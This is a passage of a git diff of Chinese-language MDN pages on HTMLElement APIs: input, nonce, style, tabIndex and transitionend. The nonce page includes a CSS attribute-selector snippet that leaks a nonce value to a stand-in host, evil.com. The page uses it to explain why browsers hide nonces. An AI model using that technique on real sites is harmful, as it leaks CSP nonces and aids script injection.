id="JavaScript">JavaScript</h3> + +<pre class="brush: js"><code>const input = document.querySelector('input'); +const log = document.getElementById('values'); + +input.addEventListener('input', updateValue); + +function updateValue(e) { + log.textContent = e.srcElement.value; +}</code> +</pre> + +<h3 id="结果">结果</h3> + +<p><iframe class="live-sample-frame sample-code-frame" frameborder="0" id="frame_Examples" src="https://mdn.mozillademos.org/en-US/docs/Web/API/HTMLElement/input_event$samples/Examples?revision=1609143"></iframe></p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', "forms.html#event-input-input", "input event")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + </tr> + <tr> + <td>{{SpecName('DOM3 Events', "#event-type-input", "input event")}}</td> + <td>{{Spec2('DOM3 Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="属性">属性</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col">Type</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td>{{domxref("EventTarget")}}</td> + <td>The event target (the topmost target in the DOM tree).</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td>{{domxref("DOMString")}}</td> + <td>The type of event.</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td>{{jsxref("Boolean")}}</td> + <td>Whether the event normally bubbles or not.</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td>{{jsxref("Boolean")}}</td> + <td>Whether the event is cancellable or not.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("api.HTMLElement.input_event")}}</p> + +<div id="compat-desktop"></div> + +<p>[1] 在 Gecko 12.0 {{geckoRelease("12.0")}} 之前，用户在输入法中输入时，或者 dead keys were used on Mac OS X 时，Gecko 不触发 input 事件。</p> + +<p>[2] IE 9 在用户删除输入的文字时不触发 input 事件(例如，按 Backspace 或者删除键，或者“剪切”文字).</p> + +<p>[3] Opera 在用户把文字拖进输入框时，不触发 input 事件。</p> + +<p>[4] 事件 target 是光标所在的最内侧的元素。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{event("keydown")}}</li> + <li>{{event("keyup")}}</li> + <li>{{event("keypress")}}</li> + <li>{{event("input")}}</li> + <li>{{domxref("HTMLElement/beforeinput_event", "beforeinput")}}</li> + <li>{{domxref("HTMLElement/change_event", "change")}}</li> + <li>{{domxref("HTMLInputElement/invalid_event", "invalid")}}</li> +</ul> + +<p>此外，还有一个类似的 <code><a href="https://developer.mozilla.org/en-US/docs/Web/Reference/Events/change">change</a></code> 事件。change 触发的频率低于 <code>input</code> - 它只会在用户提交更改时触发。</p> + +<p> + <audio style="display: none;"></audio> +</p> diff --git a/files/zh-cn/web/api/htmlelement/nonce/index.html b/files/zh-cn/web/api/htmlelement/nonce/index.html deleted file mode 100644 index b2c6c829b1..0000000000 --- a/files/zh-cn/web/api/htmlelement/nonce/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: HTMLElement.nonce -slug: Web/API/HTMLElement/nonce -tags: - - API - - nonce - - 内容安全策略 - - 实验性 - - 属性 -translation_of: Web/API/HTMLOrForeignElement/nonce ---- -<p>{{SeeCompatTable}}{{APIRef("HTML DOM")}}</p> - -<p>{{domxref("HTMLElement")}} 接口的 <strong><code>nonce</code></strong> 属性返回只使用一次的加密数字，被内容安全政策用来决定这次请求是否被允许处理。</p> - -<p>在接下来的实现中，有nonce属性的元素只能在脚本中使用（不可以在其他渠道使用，比如css属性选择器）。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox notranslate">var <em>nonce</em> = HTMLElement.nonce -HTMLElement.nonce = <em>nonce</em></pre> - -<h3 id="访问nonce属性值">访问nonce属性值</h3> - -<p>以前，并不是所有的浏览器都支持 <code>nonce</code> IDL属性，因此在实际应用场景中，尝试使用<code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute</a></code> 作为备选：</p> - -<pre class="notranslate">let nonce = script['nonce'] || script.getAttribute('nonce');</pre> - -<p>然而，最新的浏览器版本都隐藏了 <code>nonce</code> 值（返回一个空值）。IDL属(<code>script['nonce']</code>)成为唯一的访问方式。</p> - -<p>隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值，比如下面这种方式：</p> - -<pre class="notranslate">script[nonce~=whatever] { - background: url("https://evil.com/nonce?whatever"); -}</pre> - -<h2 id="说明">说明</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">说明</th> - <th scope="col">状态</th> - <th scope="col">注释</th> - </tr> - <tr> - <td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>初始定义</td> - </tr> - </tbody> -</table> - -<h2 id="支持的浏览器">支持的浏览器</h2> - -<div> -<div class="hidden">这个兼容的浏览器列表是通过一组结构化数据生成的。如果你想修改活增加数据，请获取最新数据并提交，地址：<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a></div> - -<p>{{Compat("api.HTMLElement.nonce")}}</p> -</div> diff --git a/files/zh-cn/web/api/htmlelement/style/index.html b/files/zh-cn/web/api/htmlelement/style/index.html deleted file mode 100644 index 2b825c80cc..0000000000 --- a/files/zh-cn/web/api/htmlelement/style/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: HTMLElement.style -slug: Web/API/HTMLElement/style -translation_of: Web/API/ElementCSSInlineStyle/style ---- -<div>{{ APIRef("HTML DOM") }}</div> - -<p><code><strong>HTMLElement.style</strong></code> 属性返回一个 <a href="/zh-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration"><code>CSSStyleDeclaration</code></a> 对象，表示元素的 内联<a href="/zh-CN/docs/Web/HTML/Global_attributes#style"><code>style</code> 属性（attribute）</a>，但忽略任何样式表应用的属性。 通过 <code>style</code> 可以访问的 CSS 属性列表，可以查看 <a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">CSS Properties Reference</a>。</p> - -<p>由于 <code>style</code> 属性的优先级和通过style设置内联样式是一样的，并且在css层级样式中拥有最高优先级，因此在为特定的元素设置样式时很有用。</p> - -<h3 id="设置_style_属性">设置 <code>style</code> 属性</h3> - -<p>注意<strong>不能</strong>通过直接给style属性设置字符串（如：elt.style = "color: blue;"）来设置style，因为style应被当成是只读的（尽管Firefox(Gecko), Chrome 和 Opera允许修改它），这是因为通过style属性返回的<code><a href="https://developer.mozilla.org/en-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration">CSSStyleDeclaration</a>对象是只读的。但是style属性本身的属性<strong>能</strong>够用来设置样式。此外，通过单独的样式属性（如</code>elt.style.color = '...'<code>）比用</code>elt.style.cssText = '...' 或者 elt.setAttribute('style', '...')形式更加简便，除非你希望完全通过一个单独语句来设置元素的全部样式，因为通过style本身属性设置的样式不会影响到通过其他方式设置的其他css属性的样式。</p> - -<h2 id="例子">例子</h2> - -<pre class="brush:js">// 在单个语句中设置多个样式 -elt.style.cssText = "color: blue; border: 1px solid black"; -// 或者 -elt.setAttribute("style", "color:red; border: 1px solid blue;"); - -// 设置特定样式，同时保持其他内联样式值不变 -elt.style.color = "blue"; -</pre> - -<h3 id="获取元素样式信息">获取元素样式信息</h3> - -<p>通常，要了解元素样式的信息，仅仅使用 <code>style</code> 属性是不够的，这是因为它只包含了在元素内嵌 style 属性（attribute）上声明的的 CSS 属性，而不包括来自其他地方声明的样式，如 {{HTMLElement("head")}} 部分的内嵌样式表，或外部样式表。要获取一个元素的所有 CSS 属性，你应该使用 {{domxref("window.getComputedStyle()")}}。</p> - -<pre class="brush: html"><!DOCTYPE HTML> -<html> -<body style="font-weight:bold;"> - - <div style="color:red" id="myElement">..</div> - - </body> -</html></pre> - -<p>下面的代码输出 style 所有属性的名字，以及为元素 <code>elt</code> 显式设置的属性值和继承的计算值（computed value）：</p> - -<pre class="brush: js">var element = document.getElementById("myElement"); -var out = ""; -var elementStyle = element.style; -var computedStyle = window.getComputedStyle(element, null); - -for (prop in elementStyle) { - if (elementStyle.hasOwnProperty(prop)) { - out += " " + prop + " = '" + elementStyle[prop] + "' > '" + computedStyle[prop] + "'\n"; - } -} -console.log(out)</pre> - -<p>输出结果如下:</p> - -<pre>... -fontWeight = '' > 'bold' -color = 'red' > 'rgb(255, 0, 0)' -... -</pre> - -<p>请注意，计算样式中font-weight的值为“bold”，元素的style属性中缺少该值</p> - -<h2 id="Specification" name="Specification">规范</h2> - -<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-ElementCSSInlineStyle">DOM Level 2 Style: ElementCSSInlineStyle.style</a></p> - -<p><a href="https://www.w3.org/TR/cssom-1/#the-elementcssinlinestyle-interface">CSSOM: ElementCSSInlineStyle</a></p> - -<h2 id="兼容性">兼容性</h2> - - - -<p>{{Compat("api.HTMLElement.style")}}</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li><a href="/zh-CN/docs/DOM/Using_dynamic_styling_information" title="DOM/Using dynamic styling information">Using dynamic styling information</a></li> -</ul> diff --git a/files/zh-cn/web/api/htmlelement/tabindex/index.html b/files/zh-cn/web/api/htmlelement/tabindex/index.html deleted file mode 100644 index 516c659c2a..0000000000 --- a/files/zh-cn/web/api/htmlelement/tabindex/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: HTMLElement.tabIndex -slug: Web/API/HTMLElement/tabIndex -translation_of: Web/API/HTMLOrForeignElement/tabIndex ---- -<div> -<div>{{ APIRef("HTML DOM") }}</div> -</div> - -<h3 id="Summary" name="Summary">概述</h3> - -<p>获取或设置当前元素的tab键激活顺序.</p> - -<h3 id="Syntax" name="Syntax">语法</h3> - -<pre class="eval">element.tabIndex = <em>index </em><em>index </em>= element.tabIndex -</pre> - -<h3 id="Parameters" name="Parameters">参数</h3> - -<ul> - <li><code>index</code>是一个数字,表示顺序。取值需要在0到32767之间。</li> -</ul> - -<p>Tab键的遍历顺序是这样的：</p> - -<ol> - <li>对于tabIndex值为正数的元素，如果多个元素的tabIndex值相同，则以他们出现在字符流中的次序来遍历；否则按tabIndex值由小到大的顺序来遍历。</li> - <li>对于不支持tabIndex属性或支持tabIndex属性并将其赋值为0的元素，按照他们出现在字符流中的次序来遍历。</li> - <li>处于不可用状态的元素不会被遍历到。</li> -</ol> - -<p>支持tabIndex属性的元素有：a,area,button,input,object,select和textarea<font face="monospace" size="3"><span style="line-height: 19.5px;">。</span></font></p> - -<p>tabIndex的值不需要是连续的，也不需要以某个特定值开始。</p> - -<h3 id="Example" name="Example">例子</h3> - -<pre>var b1 = document.getElementById("button1"); -b1.tabIndex = 1; -</pre> - -<h3 id="Specification" name="Specification">规范</h3> - -<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-40676705">W3C DOM Level 2 HTML tabIndex</a></p> - -<p>了解更多,请查看: <a href="/zh-cn/Key-navigable_custom_DHTML_widgets#The_solution:_changes_to_standard_behavior_of_tabindex" title="zh-cn/Key-navigable_custom_DHTML_widgets#The_solution:_changes_to_standard_behavior_of_tabindex">The solution: changes to standard behavior of tabindex</a></p> - -<p>{{ languages( { "ja": "ja/DOM/element.tabIndex", "fr": "fr/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" , "en": "en/DOM/element.tabIndex" } ) }}</p> diff --git a/files/zh-cn/web/api/htmlelement/transitionend_event/index.html b/files/zh-cn/web/api/htmlelement/transitionend_event/index.html new file mode 100644 index 0000000000..a89b39de86 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/transitionend_event/index.html @@ -0,0 +1,133 @@ +--- +title: transitionend +slug: Web/API/HTMLElement/transitionend_event +translation_of: Web/API/HTMLElement/transitionend_event +original_slug: Web/Events/transitionend +--- +<div>{{APIRef}}</div> + +<p><code>transitionend</code> 事件会在 <a href="/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> 结束后触发. 当transition完成前移除transition时，比如移除css的{{cssxref("transition-property")}} 属性，事件将不会被触发.如在transition完成前设置 {{cssxref("display")}} 为"<code>none"</code>，事件同样不会被触发。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">是否冒泡</th> + <td>是</td> + </tr> + <tr> + <th scope="row">是否可取消</th> + <td>是</td> + </tr> + <tr> + <th scope="row">接口</th> + <td>{{domxref("TransitionEvent")}}</td> + </tr> + <tr> + <th scope="row">事件处理器属性</th> + <td>{{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}}</td> + </tr> + </tbody> +</table> + +<p><code>transitionend</code> 事件是双向触发的 - 当完成到转换状态的过渡，以及完全恢复到默认或非转换状态时都会触发。 如果没有过渡延迟或持续时间，即两者的值都为0s或者都未声明， 则不发生过渡，并且任何过渡事件都不会触发。如果触发了 <code>transitioncancel</code> 事件，则<code>transitionend</code> 事件不会触发。</p> + +<h2 id="例">例</h2> + +<pre class="brush: js">/* + * 在指定的元素上监听transitionend事件, 例如#slidingMenu + * 然后指定一个函数, 例如 showMessage() + */ +function showMessage() { + console.log('Transition 已完成'); +} + +var element = document.getElementById("slidingMenu"); +element.addEventListener("transitionend", showMessage, false); +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("CSS3 Transitions", "#transition-events", "transitionend")}}</td> + <td>{{ Spec2('CSS3 Transitions') }}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0<sup>[1]</sup><br> + 36</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>10</td> + <td>10.5<sup>[2]</sup><br> + 12<br> + 12.10<br> + 23</td> + <td>3.2<sup>[1]</sup><br> + 7.0.6</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>2.1</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>10<sup>[2]</sup><br> + 12<br> + 12.10</td> + <td>3.2<sup>[1]</sup></td> + </tr> + </tbody> +</table> +</div> + +<p>[1] 在 Chrome 1.0, Android 2.1 与 WebKit 3.2 上实现 <code>webkitTransitionEnd</code>. Chrome 36 与 WebKit 7.0.6 上请使用标准事件 <code>transitionend</code>.</p> + +<p>[2] 在 Opera 10.5 上实现<code>oTransitionEnd</code>，从版本12开始实现 <code>otransitionend，</code> 从版本12.10开始实现 <code>transitionend.</code></p> + +<h2 id="参考">参考</h2> + +<ul> + <li>The {{ domxref("TransitionEvent") }} interface and the <a href="/en-US/docs/Mozilla_event_reference/transitionend" title="The 'transitionend' event"><code>transitionend</code></a> event.</li> + <li>{{cssxref("transition")}}, {{cssxref("transition-delay")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-property")}}, {{cssxref("transition-timing-function")}}.</li> +</ul> |